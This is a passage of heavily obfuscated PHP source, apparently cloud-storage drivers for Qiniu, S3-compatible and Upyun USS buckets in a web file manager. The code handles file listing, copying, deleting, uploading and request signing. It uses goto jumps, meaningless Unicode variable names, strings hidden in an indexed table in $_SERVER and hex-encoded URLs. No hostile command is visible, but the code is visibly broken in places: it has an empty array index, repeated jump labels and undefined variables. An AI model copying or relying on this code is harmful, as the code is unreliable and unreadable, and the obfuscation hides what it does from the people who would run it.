(isset($this->{$C꘽})) { $this->{$C꘽} = $e; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { show_json($_SERVER[ֹ][1199], !1); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->config = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->config); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($DƱ, $cƅׇ = '', $fެ = REPEAT_RENAME) { if ($this->setContent($DƱ, $cƅׇ)) { return $this->getPathOuter($DƱ); } return !1; } public function mkdir($cü, $b܆ = REPEAT_SKIP) { goto e兂; Eݖ: $cü = $f . $aǔ[8]; $Cܬ = get_path_this($f); $A覎 = $cü . $Cܬ; goto a݄; a݄: if (!$this->mkfile($A覎)) { return !1; } if (!$this->moveFile($A覎, $cü)) { $this->delFile($A覎); return !1; } return $this->getPathOuter($f); goto B׺; e兂: $aǔ =& $_SERVER[ֹ]; $f = trim($cü, $aǔ[8]); if ($this->_isFolder($f)) { return $this->getPathOuter($f); } goto Eݖ; B׺: } public function copyFile($EИƳȧ, $Dؼ) { $Aӈ = $this->bucketManager->copy($this->bucket, $EИƳȧ, $this->bucket, $Dؼ, !0); return $Aӈ ? !1 : !0; } public function moveFile($e, $C) { $B = $this->bucketManager->move($this->bucket, $e, $this->bucket, $C, !0); return $B ? !1 : !0; } public function delFile($c) { $eƒ = $this->bucketManager->delete($this->bucket, $c); return $eƒ ? !1 : !0; } public function delFolder($c̏) { $f֥ = $this->fileList($c̏); if (empty($f֥)) { return !0; } $Eʍ = 1000; if (count($f֥) <= $Eʍ) { return $this->qnDelObj($f֥) ? !1 : !0; } foreach (array_chunk($f֥, $Eʍ) as $f🇌) { $CÞ = $this->qnDelObj($f🇌); if ($CÞ) { return !1; } } return !0; } private function qnDelObj($aϵ͏) { $E܈ = $this->bucketManager->buildBatchDelete($this->bucket, $aϵ͏); list($c⋃, $bʨֶ) = $this->bucketManager->batch($E܈); return $bʨֶ; } private function fileList($a, $c셾 = 0) { goto E; E: $e񒆯 =& $_SERVER[ֹ]; $a = trim($a, $e񒆯[8]); $DѠʙȦ = empty($a) ? $e񒆯[33] : $a . $e񒆯[8]; goto dË; dË: $FƦ = $e񒆯[33]; $B = 1000; $Bڑ = $e񒆯[33]; goto C–; C–: $bñ = array(); while (!0) { list($eۈא, $c餺) = $this->bucketManager->listFiles($this->bucket, $DѠʙȦ, $FƦ, $B, $Bڑ); if ($c餺) { return !1; } $FƦ = array_key_exists($e񒆯[1169], $eۈא) ? $FƦ = $eۈא[$e񒆯[1200]] : $e񒆯[33]; foreach ($eۈא[$e񒆯[1201]] as $f؈㨌) { $Dʭ = $f؈㨌[$e񒆯[89]]; if ($c셾) { $Dʭ = array($e񒆯[28] => $Dʭ, $e񒆯[77] => $f؈㨌[$e񒆯[1202]]); } $bñ[] = $Dʭ; } if ($FƦ == $e񒆯[33]) { break; } } return $bñ; goto F򋍜; F򋍜: } public function rename($Bͥ, $Fՠő) { return $this->renameObject($Bͥ, $Fՠő); } public function fileInfo($f, $Aդ = false, $AĆݕ = array()) { goto D; A: if (empty($AĆݕ)) { $AĆݕ = $this->objectMeta($f); if (!$AĆݕ) { return $B; } } if (isset($AĆݕ[$C᧵ѡ[1203]])) { $B[$C᧵ѡ[183]] = $AĆݕ[$C᧵ѡ[1203]]; } if (isset($AĆݕ[$C᧵ѡ[1202]])) { $B[$C᧵ѡ[77]] = $AĆݕ[$C᧵ѡ[1202]]; } goto bѵ; bѵ: return $B; goto eҪ; D: $C᧵ѡ =& $_SERVER[ֹ]; if ($Aդ) { return array($C᧵ѡ[28] => $this->pathThis($f), $C᧵ѡ[75] => $this->getPathOuter($C᧵ѡ[8] . $f), $C᧵ѡ[29] => $C᧵ѡ[163], $C᧵ѡ[77] => isset($AĆݕ[$C᧵ѡ[1202]]) ? $AĆݕ[$C᧵ѡ[1202]] : 0, $C᧵ѡ[156] => $this->ext($f)); } $B = array($C᧵ѡ[28] => $this->pathThis($f), $C᧵ѡ[75] => $this->getPathOuter($C᧵ѡ[8] . $f), $C᧵ѡ[29] => $C᧵ѡ[163], $C᧵ѡ[183] => 0, $C᧵ѡ[106] => 0, $C᧵ѡ[77] => 0, $C᧵ѡ[156] => $this->ext($f), $C᧵ѡ[184] => !0, $C᧵ѡ[185] => !0); goto A; eҪ: } public function folderInfo($E嵳, $aڑ = false) { goto ḁ; eނ: return $eġ; goto E⤪; ḁ: $E燡 =& $_SERVER[ֹ]; if ($aڑ) { return array($E燡[28] => $this->pathThis($E嵳), $E燡[75] => $this->getPathOuter($E燡[8] . $E嵳), $E燡[29] => $E燡[76]); } $eġ = array($E燡[28] => $this->pathThis($E嵳), $E燡[75] => $this->getPathOuter($E燡[8] . $E嵳), $E燡[29] => $E燡[76], $E燡[183] => 0, $E燡[106] => 0, $E燡[1148] => !0, $E燡[1149] => !0); goto cȐ; cȐ: $E嵳 = rtrim($E嵳, $E燡[8]) . $E燡[8]; $bIJ = $this->objectMeta($E嵳); if (isset($bIJ[$E燡[1203]])) { $eġ[$E燡[183]] = $bIJ[$E燡[1203]]; } goto eނ; E⤪: } public function listPath($D, $bƉҘٱ = false) { goto e䧽; e䧽: $d =& $_SERVER[ֹ]; $D = trim($D, $d[8]); $e = empty($D) ? $d[33] : $D . $d[8]; goto C; C: $aۅ = $d[33]; $Eզ = 1000; $C󏐋 = $d[8]; goto AƤɯ; AƤɯ: $AǺ = $Bƭ = array(); while (!0) { list($aԐω, $D湹ݤ) = $this->bucketManager->listFiles($this->bucket, $e, $aۅ, $Eզ, $C󏐋); if ($D湹ݤ) { return !1; } $aۅ = array_key_exists($d[1169], $aԐω) ? $aۅ = $aԐω[$d[1200]] : $d[33]; if (isset($aԐω[$d[1204]])) { foreach ($aԐω[$d[1204]] as $c) { if ($c == $e) { continue; } $AǺ[] = $this->folderInfo($c, $bƉҘٱ); } } if (isset($aԐω[$d[1201]])) { foreach ($aԐω[$d[1201]] as $Fĵ) { if ($Fĵ[$d[89]] == $e) { continue; } $Bƭ[] = $this->fileInfo($Fĵ[$d[89]], $bƉҘٱ, $Fĵ); } } if ($aۅ == $d[33]) { break; } } return array($d[74] => $AǺ, $d[73] => $Bƭ); goto e쯑; e쯑: } public function has($F㊑ę, $Bۡ = false, $dñ = true) { goto fþ; bװ: $B = 0; $Cڊα = 0; while (!0) { list($B尉, $BĠ) = $this->bucketManager->listFiles($this->bucket, $D儨, $b겾, $Fɟ, $DҼ); if ($BĠ) { return !1; } $b겾 = array_key_exists($d[1169], $B尉) ? $b겾 = $B尉[$d[1200]] : $d[33]; if ($Bۡ) { if (!empty($B尉[$d[1201]])) { $B += count($B尉[$d[1201]]); } if (!empty($B尉[$d[1204]])) { $Cڊα += count($B尉[$d[1204]]); } if ($b겾 === $d[33]) { break; } continue; } if ($dñ) { if (!empty($B尉[$d[1201]])) { return !0; } } else { if (!empty($B尉[$d[1204]])) { return !0; } } if ($b겾 == $d[33]) { break; } } goto EÈ; eպ: $b겾 = $d[33]; $Fɟ = 1000; $DҼ = $d[8]; goto bװ; fþ: $d =& $_SERVER[ֹ]; $F㊑ę = trim($F㊑ę, $d[8]); $D儨 = empty($F㊑ę) ? $d[33] : $F㊑ę . $d[8]; goto eպ; EÈ: if ($Bۡ) { return array($d[187] => $B, $d[188] => $Cڊα); } return !1; goto d; d: } public function listAll($fÌ) { $C =& $_SERVER[ֹ]; $AԞݙ = $this->fileList($fÌ, 1); $A㇌ = array(); foreach ($AԞݙ as $e≆ы) { $A㇌[$e≆ы[$C[28]]] = $e≆ы[$C[77]]; } return $this->listAllFiles($fÌ, array_keys($A㇌), $A㇌); } public function canRead($a) { return $this->exist($a) ? !0 : !1; } public function canWrite($c٨⯄) { return $this->exist($c٨⯄) ? !0 : !1; } public function getContent($dɼ׳) { return $this->fileSubstr($dɼ׳, 0, -1); } public function setContent($f׏, $c̠ = '') { $Bϖ = $this->tempFile($this->pathThis($f׏)); file_put_contents($Bϖ, $c̠); if ($this->upload($f׏, $Bϖ)) { $this->tempFileRemve($Bϖ); return !0; } return !1; } public function refreshUrls($E) { goto cѓ; bȫ㐛: $BԠ = new Qiniu\Cdn\CdnManager($this->auth); list($e޴, $FЌ) = $BԠ->refreshUrls($DщĤ֫); if ($FЌ) { return !1; } goto cߘ; cߘ: return $e޴[$e[1205]] == $e[693] ? !0 : !1; goto E򄫭ӥ; cѓ: $e =& $_SERVER[ֹ]; $DщĤ֫ = array(); if (is_array($E)) { foreach ($E as $E±) { $DщĤ֫[] = $this->link($E±); } } else { $DщĤ֫[] = $this->link($E); } goto bȫ㐛; E򄫭ӥ: } public function fileSubstr($cѪ, $eʧ, $dǔ) { $BƗу޳ =& $_SERVER[ֹ]; if (!($c = $this->link($cѪ))) { return !1; } $fհ = !1; if ($dǔ > 0) { $Aѽ = $eʧ + $dǔ - 1; $fհ = array($BƗу޳[1206] . $eʧ . $BƗу޳[408] . $Aѽ); } $B = url_request($c, $BƗу޳[212], !1, $fհ); return $B[$BƗу޳[686]] ? $B[$BƗу޳[1028]] : !1; } public function upload($cӲ, $e㔺, $D߾ = false, $a = REPEAT_REPLACE) { $dǏ = new Qiniu\Storage\UploadManager(); $a녪 = $this->auth->uploadToken($this->bucket, $cӲ); $eټ = get_file_mime(get_path_ext($e㔺)); list($aȋ, $d亇ժ) = $dǏ->putFile($a녪, $cӲ, $e㔺, null, $eټ); return $d亇ժ ? !1 : $this->getPathOuter($cӲ); } public function uploadFormData($f, $aۡ㊌ = 3600) { return $this->uploadToken($f, $aۡ㊌); } public function multiUploadFormData($f꼇, $b򳶨 = 3600) { return $this->uploadToken($f꼇, $b򳶨); } private function uploadToken($b葅ۙ, $B۵չ = 3600) { goto B; B: $f℘ =& $_SERVER[ֹ]; $Cҳ = $B۵չ; $f = array($f℘[1207] => $f℘[1208]); goto E; E: $DƯ = null; $ḑ = $this->auth->uploadToken($this->bucket, $DƯ, $Cҳ, $f, !0); $bƫ = empty($this->region) || $this->region == $f℘[1209] ? $f℘[33] : $f℘[408] . $this->region; goto a; a: $bɺ = http_type() . "\72\57\57\x75\160\x6c\x6f\x61\x64{$bƫ}\56\161\151\156\x69\x75\x70\x2e\143\157\155\57"; return array($f℘[1210] => $ḑ, $f℘[1211] => $bɺ); goto f; f: } public function download($A䣹, $f͹ϗ) { goto Bҙй; Eڟ: fclose($aє댏˜); return $f͹ϗ; goto b; Bҙй: $A = IO::getPathInner(IO::mkfile($f͹ϗ)); if (!($A魢ʜ = $this->link($A䣹))) { return !1; } $a޶ = 0; goto fԴì; fԴì: $FᚌҠ = 1024 * 200; $aє댏˜ = fopen($A, $_SERVER[ֹ][1212]); while (!0) { $d = $this->fileSubstr($A䣹, $a޶, $FᚌҠ); if ($d === !1) { return !1; } fwrite($aє댏˜, $d); $a޶ += $FᚌҠ; if (strlen($d) < $FᚌҠ) { break; } } goto Eڟ; b: } public function link($dϲ͍, $BۤŅī = '') { if (!$this->isFile($dϲ͍)) { return !1; } $bʽʷ = $this->getHost() . $_SERVER[ֹ][8] . $this->pathEncode($dϲ͍) . $BۤŅī; return $this->auth->privateDownloadUrl($bʽʷ, 3600 * 12); } public function fileOut($B, $C = false, $d = false, $aΆ = '') { $A =& $_SERVER[ֹ]; if (!$d) { $d = $this->pathThis($B); } $A͉ = $C ? $A[1213] . rawurlencode($d) : $A[33]; $e = $this->link($B, $A͉); $this->fileOutLink($e); } public function fileOutServer($D, $Dݓ = false, $Cޏ = false, $C񇿣ԉ = '') { parent::fileOut($D, $Dݓ, $Cޏ, $C񇿣ԉ); } public function fileOutImage($Cɱ, $fێ犜 = 250) { $c = $this->link($Cɱ, $_SERVER[ֹ][1214] . $fێ犜); $this->fileOutLink($c); } public function fileOutImageServer($bÒݍ, $aˮ = 250) { parent::fileOutImage($bÒݍ, $aˮ); } public function hashMd5($a) { $fƙ =& $_SERVER[ֹ]; $Bɿð = $this->objectMeta($a); return isset($Bɿð[$fƙ[192]]) ? $Bɿð[$fƙ[192]] : !1; $Eĥ = $this->link($a, $fƙ[1215]); } public function size($b) { $Dț = $this->objectMeta($b); return $Dț ? $Dț[$_SERVER[ֹ][77]] : 0; } public function info($b) { if ($this->isFolder($b)) { return $this->folderInfo($b); } else { if ($this->isFile($b)) { return $this->fileInfo($b); } } return !1; } public function exist($FҪ) { return $this->isFile($FҪ) || $this->isFolder($FҪ); } public function isFile($A) { return !$this->isFolder($A) && $this->objectMeta($A); } public function isFolder($bΞɝ) { return $this->cacheMethod($_SERVER[ֹ][219], $bΞɝ); } protected function objectMeta($C) { return $this->cacheMethod($_SERVER[ֹ][220], $C); } protected function _objectMeta($F) { $f񌳾 =& $_SERVER[ֹ]; list($fʱ, $a) = $this->bucketManager->stat($this->bucket, $F); if ($fʱ) { $fʱ[$f񌳾[77]] = intval($fʱ[$f񌳾[1202]]); } return $fʱ; } protected function _isFolder($a۟) { $cͰ =& $_SERVER[ֹ]; list($B, $C†͟) = $this->bucketManager->listFiles($this->bucket, trim($a۟, $cͰ[8]) . $cͰ[8], $cͰ[33], 1, $cͰ[8]); return !empty($B[$cͰ[1201]]) || !empty($B[$cͰ[1204]]) ? !0 : !1; } } class PathDriverS3 extends PathDriverBaseS3 { public function __construct($e媆԰) { parent::__construct($e媆԰); } public function uploadFormData($e铉, $E쯻ݬ = 3600) { goto FЄ; aֶɩ: $fܦ = hash_hmac($aʰÛ[1130], $AТ׸, $AǞŮ, !0); $fʫ딸 = hash_hmac($aʰÛ[1130], $C, $fܦ, !0); $f = hash_hmac($aʰÛ[1130], $fմ, $fʫ딸); goto c֜ظ; c֜ظ: $d = array($aʰÛ[195] => $aʰÛ[33], $aʰÛ[1132] => $aʰÛ[33], $aʰÛ[1091] => $Bچ, $aʰÛ[1095] => $cؽ, $aʰÛ[1099] => $fմ, $aʰÛ[1133] => $Bݗꖋ, $aʰÛ[1134] => $fۨ΍, $aʰÛ[1135] => $b粷, $aʰÛ[1136] => $C, $aʰÛ[1137] => $f, $aʰÛ[165] => $this->getHost()); return $d; goto C; e: $C = $aʰÛ[1122]; $C = $E쯻ݬ . $aʰÛ[33]; $cؽ = $aʰÛ[1087]; goto E; E: $eȳ = array($this->accessKey, $f뢶, $this->region, $AТ׸, $C); $Bݗꖋ = implode($aʰÛ[8], $eȳ); $fޟ = array($aʰÛ[1089] => gmdate($aʰÛ[1088], strtotime($aʰÛ[1123])), $aʰÛ[1090] => array(array($aʰÛ[1092] => $this->bucket), array($aʰÛ[1091] => $Bچ), array($aʰÛ[1093], $aʰÛ[1094], $aʰÛ[33]), array($aʰÛ[1093], $aʰÛ[1124], $aʰÛ[33]), array($aʰÛ[1093], $aʰÛ[1125], $aʰÛ[33]), array($aʰÛ[1095] => $cؽ), array($aʰÛ[1126] => $Bݗꖋ), array($aʰÛ[1127] => $fۨ΍), array($aʰÛ[1128] => $b粷), array($aʰÛ[1129] => $C))); goto c; c: $fմ = base64_encode(json_encode($fޟ)); $dۨ = hash_hmac($aʰÛ[1130], $f뢶, $aʰÛ[1131] . $this->secret, !0); $AǞŮ = hash_hmac($aʰÛ[1130], $this->region, $dۨ, !0); goto aֶɩ; Fɾ: $AТ׸ = $aʰÛ[59]; $b粷 = gmdate($aʰÛ[1121]); $f뢶 = gmdate($aʰÛ[687]); goto e; FЄ: $aʰÛ =& $_SERVER[ֹ]; $Bچ = $aʰÛ[181]; $fۨ΍ = $aʰÛ[1120]; goto Fɾ; C: } public function multiUploadFormData($c녢, $Eڦ = 3600) { $Aɢ =& $_SERVER[ֹ]; $dڦ = gmdate($Aɢ[1216]); $C = array(); $CɂѨ = $this->client->getUploadId($this->bucket, $c녢, $C); if (!$CɂѨ) { return !1; } return array($Aɢ[205] => $CɂѨ, $Aɢ[165] => $this->getHost() . $Aɢ[8] . $this->pathEncode($c녢), $Aɢ[206] => $dڦ, $Aɢ[89] => $c녢); } public function multiUploadAuthData($f󬹅, $f = array()) { goto AՒ; e: unset($f[$AԴ[89]]); if (isset($f[$AԴ[207]])) { return $this->listUploadParts($C̾, $f); } $fṵʼב = array(); goto F; a̅: if (strpos($EІ, $AԴ[209]) === 0) { if (isset($fṵʼב[$AԴ[1218]])) { $bnj = $fṵʼב[$AԴ[1218]]; } else { if (isset($Aӑ[$AԴ[1218]])) { $bnj = $Aӑ[$AԴ[1218]]; } else { $bnj = hash($AԴ[1130], $AԴ[33]); } } return array($AԴ[216] => $Aӑ[$AԴ[216]], $AԴ[1218] => $bnj, $AԴ[206] => $Aӑ[$AԴ[1221]]); } return $Aӑ[$AԴ[216]]; goto Aߘī; F: if (isset($f[$AԴ[1217]])) { $fṵʼב[$AԴ[1218]] = $f[$AԴ[1217]]; } $Dž = explode($AԴ[167], $this->getHost()); $e溻ډ = array($AԴ[1219] => $Dž[1], $AԴ[1220] => $AԴ[33], $AԴ[195] => $AԴ[115], $AԴ[1132] => $f[$AԴ[77]]); goto F; AՒ: $AԴ =& $_SERVER[ֹ]; $EІ = isset($f[$AԴ[156]]) ? $f[$AԴ[156]] : $AԴ[33]; $C̾ = $f[$AԴ[89]]; goto e; F: $EƬӛ = $AԴ[210]; $aƓ = $AԴ[8] . $this->pathEncode($C̾) . $EІ; $Aӑ = $this->client->__getSignatureV4($fṵʼב, $e溻ډ, $EƬӛ, $aƓ); goto a̅; Aߘī: } public function listUploadParts($c, $eڇ⼏ = array()) { goto f; A: $A .= $B薜[1225]; $F͹ߟ = array(); $E = explode($B薜[167], $this->getHost()); goto f; Fфۑ: $d = $this->client->__getSignatureV4($F͹ߟ, $a, $b, $eĭ, $A); return array($B薜[216] => $d[$B薜[216]], $B薜[206] => $d[$B薜[1221]], $B薜[218] => $dᥫ, $B薜[1218] => $d[$B薜[1218]]); goto C׏؈; fķ: if (!$dᥫ) { return !1; } $A = $B薜[1222]; foreach ($dᥫ as $bۑ) { $A .= $B薜[1223] . "\74\x50\141\162\x74\x4e\165\x6d\x62\145\x72\x3e{$bۑ[$B薜[1174]]}\74\57\x50\x61\162\x74\116\165\x6d\142\145\162\x3e\xa" . "\x3c\x45\124\141\147\x3e{$bۑ[$B薜[1175]]}\x3c\x2f\105\x54\141\x67\x3e\12" . $B薜[1224]; } goto A; f: $B薜 =& $_SERVER[ֹ]; $Dܔƻ = str_replace($B薜[217], $B薜[33], $eڇ⼏[$B薜[156]]); $dᥫ = $this->client->listParts($this->bucket, $c, $Dܔƻ); goto fķ; f: $a = array($B薜[1219] => $E[1], $B薜[195] => $B薜[115], $B薜[1132] => strlen($A)); $b = $B薜[208]; $eĭ = $B薜[8] . $this->pathEncode($c) . $eڇ⼏[$B薜[156]]; goto Fфۑ; C׏؈: } public function link($D։, $a = array()) { return parent::link($D։, $a); } public function fileOut($fܙ, $aɦ = false, $dش = false, $C˱ = '') { if (strstr($this->endpoint, $_SERVER[ֹ][1226])) { return parent::fileOutServer($fܙ, $aɦ, $dش, $C˱); } parent::fileOut($fܙ, $aɦ, $dش, $C˱); } public function fileOutImage($E؋, $F̐ = 250) { if (strstr($this->endpoint, $_SERVER[ֹ][1226])) { return parent::fileOutImageServer($E؋, $F̐); } parent::fileOutImage($E؋, $F̐); } public function fileOutLink($fˏ̎) { $BӬ =& $_SERVER[ֹ]; if (substr($fˏ̎, 0, 7) == $BӬ[1102]) { $fˏ̎ = $BӬ[1103] . substr($fˏ̎, 7); } header($BӬ[152] . $fˏ̎); die; } public function getHost() { $eҾȏ =& $_SERVER[ֹ]; $Fś = str_rtrim(parent::getHost(), $eҾȏ[8] . $this->bucket); $Fś = explode($eҾȏ[167], $Fś); return $Fś[0] . $eҾȏ[167] . $this->bucket . $eҾȏ[91] . $Fś[1]; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($F܏, $BǮ = 0) { parent::__construct(); $this->source = $F܏; $this->sourceSize = $BǮ; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($a = false) { return $this->sourceSize; } public function getContent($aĎܫ = false) { if ($this->sourceType == self::TYPE_STRING) { return $this->source; } if ($this->sourceType == self::TYPE_FILE) { $d = ftell($this->source); $c󹼌 = @fread($this->source, $this->sourceSize); fseek($this->source, $d); return $c󹼌; } } public function fileSubstr($Aׄ = false, $c = 0, $f禥 = 0) { if (!$f禥) { $f禥 = $this->sourceSize; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $c, $f禥); } if ($this->sourceType == self::TYPE_FILE) { $BӋ = ftell($this->source); fseek($this->source, $BӋ + $c); $BЮ = @fread($this->source, $f禥); fseek($this->source, $BӋ); return $BЮ; } } public function hashMd5($eǎЦ = false) { return md5($this->getContent()); } public static function hash($e, $cʾ = 0) { $eͼ = new PathDriverStream($e, $cʾ); return $eͼ->hashSimple($e); } public static function md5($fΐ, $Bޱ = 0) { $cԅ… = new PathDriverStream($fΐ, $Bޱ); return $cԅ…->hashMd5($fΐ); } } goto Cн̵; C͛: register_shutdown_function($_SERVER[][36]); set_error_handler($_SERVER[][49], $FԢ); if (function_exists($_SERVER[][50])) { set_exception_handler($_SERVER[][51]); } goto B⨟㔃; Cн̵: class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\x68\x74\x74\160\x3a\x2f\x2f\x76\x30\56\141\x70\x69\56\165\160\171\x75\x6e\56\143\157\x6d"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($e) { parent::__construct(); $this->_init($e); } public function _init($e) { foreach ($e as $a => $Dֳ⇄) { if (isset($this->{$a})) { $this->{$a} = $Dֳ⇄; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { show_json($_SERVER[ֹ][1227], !1); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($dɏ, $d돛 = "\x47\105\124") { $eİءܺ =& $_SERVER[ֹ]; $dÏ = gmdate($eİءܺ[1191]); $F򂧺 = base64_encode(hash_hmac($eİءܺ[1228], "{$d돛}\46{$dɏ}\46{$dÏ}", md5("{$this->userpass}"), !0)); $aޚ = array("\101\x75\x74\x68\157\x72\x69\172\141\164\x69\x6f\156\72\125\120\131\x55\x4e\40{$this->username}\x3a{$F򂧺}", "\104\141\x74\x65\x3a{$dÏ}"); return $aޚ; } public function ussRequest($Aŭ͏, $Cꎫ = "\107\x45\x54", $B߼݊ = false, $Dݲ̝ = false, $FҬּ = false) { goto Eȸû; a: if (!$a) { return array($b[1026] => !1, $b[1028] => $b[1229]); } if (strtolower($Cꎫ) == $b[180] || in_array($a[$b[1026]], array($b[1087], $b[1230]))) { $B߼݊ = $a[$b[1231]]; } else { $B߼݊ = json_decode($a[$b[1028]], !0); if (!$B߼݊) { $B߼݊ = $a[$b[1028]]; } else { if (!$a[$b[686]] && isset($B߼݊[$b[1232]])) { $B߼݊ = $B߼݊[$b[1232]]; } } } return array($b[1026] => $a[$b[686]], $b[1028] => $B߼݊); goto fۍ; Eȸû: $b =& $_SERVER[ֹ]; $Aŭ͏ = trim($Aŭ͏, $b[8]); $a = "\x2f{$this->bucket}\x2f{$Aŭ͏}"; goto D儐ԣ; D儐ԣ: $c͈ = $this->ussHeaders($a, $Cꎫ); if ($Dݲ̝) { $c͈ = array_merge($c͈, $Dݲ̝); } $a = url_request($this->endpoint . $a, $Cꎫ, $B߼݊, $c͈, $FҬּ); goto a; fۍ: } public function mkfile($a򋙳, $B = '', $f = REPEAT_RENAME) { if ($this->setContent($a򋙳, $B)) { return $this->getPathOuter($a򋙳); } return !1; } public function mkdir($AٷIJ, $c = REPEAT_SKIP) { $A룓䐮 =& $_SERVER[ֹ]; $AՕ = trim($AٷIJ, $A룓䐮[8]); if ($this->_isFolder($AՕ)) { return $this->getPathOuter($AՕ); } $A = array($A룓䐮[1233]); $E͙ާ = $this->ussRequest($AՕ, $A룓䐮[208], !1, $A); return $E͙ާ[$A룓䐮[1026]] ? $this->getPathOuter($AՕ) : !1; } public function copyFile($B휉, $Aܥ) { $eʏɄ =& $_SERVER[ֹ]; $Eތ = array($eʏɄ[1234] . "\57{$this->bucket}\57{$B휉}", $eʏɄ[1235]); $C = $this->ussRequest($Aܥ, $eʏɄ[210], !1, $Eތ); return $C[$eʏɄ[1026]] ? !0 : !1; } public function moveFile($Fޝ, $cݠ) { $fˇ =& $_SERVER[ֹ]; $b䬥 = array($fˇ[1236] . "\x2f{$this->bucket}\57{$Fޝ}", $fˇ[1235]); $Cѭ = $this->ussRequest($cݠ, $fˇ[210], !1, $b䬥); return $Cѭ[$fˇ[1026]] ? !0 : !1; } public function delFile($a㇎) { $E =& $_SERVER[ֹ]; $A౑Ϟ = $this->ussRequest($a㇎, $E[1237]); return $A౑Ϟ[$E[1026]] ? !0 : !1; } public function delFolder($A㞑㌊) { $F̺ =& $_SERVER[ֹ]; $A۵؈ = $this->listAll($A㞑㌊); krsort($A۵؈); foreach ($A۵؈ as $f) { $this->ussRequest($f[$F̺[75]], $F̺[1237]); } return $this->ussRequest($A㞑㌊, $F̺[1237]); } public function rename($Cߗ, $bգ) { if ($this->isFile($Cߗ)) { $bգ = get_path_father($Cߗ) . $bգ; return $this->moveFile($Cߗ, $bգ); } return $this->renameObject($Cߗ, $bգ); } public function fileInfo($f, $A = false, $cٻ = array()) { $b =& $_SERVER[ֹ]; if ($A) { return array($b[28] => $this->pathThis($f), $b[75] => $this->getPathOuter($b[8] . $f), $b[29] => $b[163], $b[77] => isset($cٻ[$b[321]]) ? $cٻ[$b[321]] : 0, $b[156] => $this->ext($f)); } $EЂΉ = array($b[28] => $this->pathThis($f), $b[75] => $this->getPathOuter($b[8] . $f), $b[29] => $b[163], $b[183] => 0, $b[106] => isset($b[$b[1238]]) ? $b[$b[1238]] : 0, $b[77] => isset($cٻ[$b[321]]) ? $cٻ[$b[321]] : 0, $b[156] => $this->ext($f), $b[184] => !0, $b[185] => !0); if (empty($cٻ)) { $cٻ = $this->objectMeta($f); if (!$cٻ) { return $EЂΉ; } $EЂΉ[$b[183]] = $cٻ[$b[1239]]; $EЂΉ[$b[106]] = $cٻ[$b[1240]]; $EЂΉ[$b[77]] = $cٻ[$b[77]]; } return $EЂΉ; } public function folderInfo($aӱ, $E撟 = false) { $f쳤 =& $_SERVER[ֹ]; if ($E撟) { return array($f쳤[28] => $this->pathThis($aӱ), $f쳤[75] => $this->getPathOuter($f쳤[8] . $aӱ), $f쳤[29] => $f쳤[76]); } $D̺ = array($f쳤[28] => $this->pathThis($aӱ), $f쳤[75] => $this->getPathOuter($f쳤[8] . $aӱ), $f쳤[29] => $f쳤[76], $f쳤[183] => 0, $f쳤[106] => isset($D[$f쳤[1238]]) ? $D[$f쳤[1238]] : 0, $f쳤[1148] => !0, $f쳤[1149] => !0); if (empty($c)) { $c = $this->objectMeta($aӱ); if (!$c) { return $D̺; } $D̺[$f쳤[183]] = $c[$f쳤[1239]]; $D̺[$f쳤[106]] = $c[$f쳤[1240]]; } return $D̺; } private function fileList($C􋠪, $bӢ = 0, $Eѥۏ = 1000) { $dߢ =& $_SERVER[ֹ]; $A؟ѷэ = array($dߢ[1241], $dߢ[1242] . $Eѥۏ); if ($bӢ) { $A؟ѷэ[] = $dߢ[1243] . $bӢ; } $EÑ = $this->ussRequest($C􋠪, $dߢ[212], !1, $A؟ѷэ); return !$EÑ[$dߢ[1026]] ? !1 : $EÑ[$dߢ[1028]]; } public function listPath($BȺᅕ, $BҌӃ = false) { goto A; CᲱ: $aŖ = $E = array(); $E = rtrim($BȺᅕ, $E玜[8]) . $E玜[8]; while (!0) { $b˒ޑ = $this->fileList($BȺᅕ, $e퍌, $D٣); if (!$b˒ޑ) { return !1; } $e퍌 = isset($b˒ޑ[$E玜[1244]]) ? $b˒ޑ[$E玜[1244]] : $E玜[33]; $b = isset($b˒ޑ[$E玜[1245]]) ? $b˒ޑ[$E玜[1245]] : array(); foreach ($b as $fծ) { if ($fծ[$E玜[29]] == $E玜[76]) { $aŖ[] = $this->folderInfo($E . $fծ[$E玜[28]], $BҌӃ, $fծ); } else { $E[] = $this->fileInfo($E . $fծ[$E玜[28]], $BҌӃ, $fծ); } } if (count($b) < $D٣) { break; } } goto b걺ۼ; b걺ۼ: return array($E玜[74] => $aŖ, $E玜[73] => $E); goto Bᕡɚ; A: $E玜 =& $_SERVER[ֹ]; $e퍌 = $E玜[33]; $D٣ = 1000; goto CᲱ; Bᕡɚ: } private function recursionAllFiles($Aԃ, &$A•̦) { $eՋ =& $_SERVER[ֹ]; $Fھآ = $eՋ[33]; $B˃ = 1000; $A暈ȍ = $d䇮 = array(); $E = rtrim($Aԃ, $eՋ[8]) . $eՋ[8]; while (!0) { $Aɪњ = $this->fileList($Aԃ, $Fھآ, $B˃); if (!$Aɪњ) { return !1; } $Fھآ = isset($Aɪњ[$eՋ[1244]]) ? $Aɪњ[$eՋ[1244]] : $eՋ[33]; $c = isset($Aɪњ[$eՋ[1245]]) ? $Aɪњ[$eՋ[1245]] : array(); foreach ($c as $Fɗ) { $e = array($eՋ[75] => $E . $Fɗ[$eՋ[28]], $eՋ[76] => $Fɗ[$eՋ[29]] == $eՋ[76] ? 1 : 0, $eՋ[77] => isset($Fɗ[$eՋ[321]]) ? $Fɗ[$eՋ[321]] : 0); $A•̦[] = $e; if ($e[$eՋ[76]] == 1) { $this->recursionAllFiles($e[$eՋ[75]], $A•̦); } } if (count($c) < $B˃) { break; } } } public function has($a, $Dʨ = false, $A퓴פ = true) { goto a; b: while (!0) { $aڅ = $this->fileList($a, $A, 